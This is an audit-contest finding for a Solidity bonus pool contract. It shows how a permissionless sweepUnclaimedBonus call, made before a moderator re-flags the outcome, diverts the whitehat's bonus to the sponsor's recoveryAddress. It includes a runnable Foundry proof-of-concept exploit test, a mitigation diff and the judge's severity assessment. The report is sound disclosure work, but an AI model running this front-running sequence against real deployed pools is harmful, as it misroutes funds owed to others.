FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Bonus pool swept to recoveryAddress before a SURVIVED→good-faith-CORRUPTED re-flag under-pays the named whitehat (ConfidencePool.sweepUnclaimedBonus)

Author Revealed upon completion

Root + Impact

Description

  • For a good-faith CORRUPTED outcome, DESIGN §12 and the README guarantee the entire pool (snapshotTotalStaked + snapshotTotalBonus) becomes the named whitehat attacker's bounty, and the moderator may re-flag a wrong outcome any time before the first claim (claimsStarted == false), including correcting an out-of-scope SURVIVED judgement to an in-scope good-faith CORRUPTED.

  • sweepUnclaimedBonus is permissionless and deliberately does not latch claimsStarted, but when riskWindowStart == 0 it treats the whole bonus as unowed and sweeps it to recoveryAddress, zeroing totalBonus; a following good-faith CORRUPTED re-flag then re-snapshots snapshotTotalBonus = totalBonus = 0, so the whitehat's bounty is only the principal and the bonus is stranded at the sponsor-controlled recoveryAddress.

function sweepUnclaimedBonus() external {
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) { // @> riskWindowStart==0 => bonus NOT reserved
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus; // @> full bonus leaves, totalBonus -> 0
}
// @> intentionally does NOT set claimsStarted, so the re-flag window stays open after real value left
stakeToken.safeTransfer(recoveryAddress, amount);
}
// flagOutcome then re-snapshots from the now-zeroed live total:
snapshotTotalBonus = totalBonus; // @> reads 0
bountyEntitlement = willBeGoodFaithCorrupted
? snapshotTotalStaked + snapshotTotalBonus : 0; // @> principal only

Risk

Likelihood:

  • Occurs when the registry reaches CORRUPTED with no active-risk state ever observed by the pool (riskWindowStart == 0, a state DESIGN §5/§7 treat as reachable), the moderator first flags SURVIVED (a valid judgement on a CORRUPTED registry), and any account calls the permissionless sweepUnclaimedBonus before the moderator corrects to good-faith CORRUPTED.

  • The front-run is directly incentivized: the recoveryAddress beneficiary (the sponsor) profits by calling sweepUnclaimedBonus themselves during the open correction window.

Impact:

  • The named whitehat attacker receives strictly less than the "entire pool" the spec guarantees — the full snapshotTotalBonus, which can be the majority of the pool, is routed to recoveryAddress instead of the whitehat.

  • Breaks the DESIGN §12 invariant that bountyEntitlement == snapshotTotalStaked + snapshotTotalBonus for good-faith CORRUPTED, and the design's own premise that "genuine reliance only comes from claim entrypoints."

Proof of Concept

Two tests, same setup, one variable changed — both pass. The focused exploit is shown first for reading; the full self-contained file follows for running.

Focused exploit (the vulnerable sequence):

// Exploit: a permissionless sweep front-runs the SURVIVED -> good-faith-CORRUPTED
// correction and shorts the whitehat by the full bonus.
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether); // third-party bonus meant to reward the whitehat
// Agreement breached: the registry jumps straight to CORRUPTED with no pool interaction
// during any active-risk state, so riskWindowStart stays 0 (DESIGN §5/§7 treat this as reachable).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator's FIRST judgement: SURVIVED (believes the breach was out-of-scope). Valid on a
// CORRUPTED registry, and it does NOT latch claimsStarted -> the re-flag window stays open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
// Griefer (anyone) front-runs the correction with a permissionless sweep. Because
// riskWindowStart == 0 the FULL bonus is treated as unowed and swept to recovery;
// sweepUnclaimedBonus intentionally does NOT set claimsStarted.
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
// Moderator CORRECTS to good-faith CORRUPTED naming the whitehat (still permitted: !claimsStarted).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// The whitehat's bounty should be the whole pool (200e18). It is only the principal,
// because the re-snapshot read the already-zeroed totalBonus.
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}

Full runnable test — test/poc/SweepReflagStandalone.t.sol

Self-contained: depends only on the in-scope src/ contracts + OpenZeppelin + forge-std (both vendored in the repo). Drop into test/poc/ and run:

forge test --match-path 'test/poc/SweepReflagStandalone.t.sol' -vvv

Result: 2 passed; 0 failed. The exploit pays the whitehat only 100e18 (principal), stranding the 100e18 bonus at recovery; the control (no sweep) pays the full 200e18, isolating sweepUnclaimedBonus as the sole cause.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/*//////////////////////////////////////////////////////////////////////////
SELF-CONTAINED MINIMAL TEST DOUBLES
(Mirror the contest's own test/mocks/* — matching selectors is enough
for the pool's address-cast call sites; inlined so this file is a
single drop-in that needs only the in-scope src/ contracts + OZ.)
//////////////////////////////////////////////////////////////////////////*/
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MOCK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockAttackRegistry {
IAttackRegistry.ContractState internal state;
function setAgreementState(IAttackRegistry.ContractState s) external { state = s; }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return state; }
function getAttackModerator(address) external pure returns (address) { return address(0); }
}
contract MockSafeHarborRegistry {
address internal attackRegistry;
mapping(address => bool) internal validAgreement;
function setAttackRegistry(address a) external { attackRegistry = a; }
function setAgreementValid(address a, bool v) external { validAgreement[a] = v; }
function getAttackRegistry() external view returns (address) { return attackRegistry; }
function isAgreementValid(address a) external view returns (bool) { return validAgreement[a]; }
}
contract MockAgreement {
address internal agreementOwner;
mapping(address => bool) internal _inScope;
constructor(address owner_) { agreementOwner = owner_; }
function owner() external view returns (address) { return agreementOwner; }
function setContractInScope(address a, bool s) external { _inScope[a] = s; }
function isContractInScope(address a) external view returns (bool) { return _inScope[a]; }
}
/*//////////////////////////////////////////////////////////////////////////
THE POC
//////////////////////////////////////////////////////////////////////////*/
/// Demonstrates that a permissionless `sweepUnclaimedBonus` fired during the moderator's OPEN
/// re-flag correction window (claimsStarted == false) irreversibly diverts the whole bonus pool
/// to `recoveryAddress`, so a subsequent (documented, supported) moderator correction from
/// SURVIVED to good-faith CORRUPTED under-pays the named whitehat by the full bonus amount —
/// violating DESIGN §12 ("the entire pool is the named attacker's bounty").
///
/// Run: forge test --match-path 'test/poc/SweepReflagStandalone.t.sol' -vvv
contract SweepReflagStandaloneTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACC = address(0xC0FFEE);
uint256 internal constant BASE_TS = 1_750_000_000;
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
function setUp() public {
vm.warp(BASE_TS);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACC, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACC;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
// ------------------------------------------------------------------ //
// Exploit: sweep front-runs the SURVIVED -> good-faith-CORRUPTED //
// correction and shorts the whitehat by the full bonus. //
// ------------------------------------------------------------------ //
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether); // third-party bonus meant to reward the whitehat
// Agreement breached; registry jumps straight to CORRUPTED with no pool interaction during
// any active-risk state, so riskWindowStart stays 0 (a state DESIGN §5/§7 treat as reachable).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator's first judgement: SURVIVED (believes the breach was out-of-scope). Valid on a
// CORRUPTED registry; does NOT latch claimsStarted, so the re-flag window stays open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
// Anyone front-runs the correction with a permissionless sweep. riskWindowStart == 0 => the
// full bonus is treated as unowed and swept to recovery; claimsStarted is NOT set.
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
// Moderator corrects to good-faith CORRUPTED naming the whitehat (still permitted).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// Should be the whole pool (200e18). It is only the principal: the re-snapshot read the
// zeroed totalBonus.
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}
// ------------------------------------------------------------------ //
// Control: without the front-run sweep, the same correction pays //
// the whitehat the whole pool (200e18). //
// ------------------------------------------------------------------ //
function test_control_reflag_pays_whitehat_full_pool() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// (no sweep)
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 200 ether, "full pool is the bounty");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 200 ether, "whitehat gets principal + bonus");
}
}

Recommended Mitigation

Latch outcome finality when a bonus sweep removes real reliance value (the full-bonus, no-observed-risk-window branch), so a later re-flag cannot promise a good-faith CORRUPTED bounty the pool can no longer pay.

This preserves the existing intent that a dust donation must not block the moderator's re-flag window: ordinary excess/donation sweeps (observed risk window, live stakers) never enter this branch, so they still do not latch finality.

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // Bonus has irreversibly left the pool; latch finality so a later re-flag can't
+ // promise a good-faith CORRUPTED bounty the pool can no longer pay (DESIGN §12).
+ if (!claimsStarted) claimsStarted = true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

sweepUnclaimedBonus() omits claimsStarted latch, letting a moderator re-flag re-snapshot a drained totalBonus and short the CORRUPTED bounty

Impact – Medium Up to the entire bonus pool can be routed to the wrong party for good, with no on-chain way to unwind it, and in a stakerless pool the effect is total since bountyEntitlement computes to zero and claimAttackerBounty reverts outright. This impact is definitely not High: the pool stays solvent throughout with no principal ever at risk, and the money ends up at the sponsor's own recoveryAddress, which in most pools means a sponsor recovering a bonus they funded themselves. The whitehat's claim on that bonus also only exists because the moderator changed their mind after the fact. Likelihood – Low Four separate things have to coincide: nobody touches the pool for the whole active-risk window (or there are no stakers to begin with), the moderator flags SURVIVED and later reverses to CORRUPTED, that reversal is good-faith with a named attacker, and a sweep lands between the two flags. The first cuts against staker self-interest, since skipping the poke costs them their entire bonus share, and the second asks the moderator to overturn a scope judgement, which is a bigger deal than the typo fix DESIGN.md #4 offers the window for. The sweep itself I'd treat as near-certain once the rest holds, given it's permissionless and the sponsor has an obvious reason to make the call, but assembling the first three in one pool lifecycle is where this stays rare.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!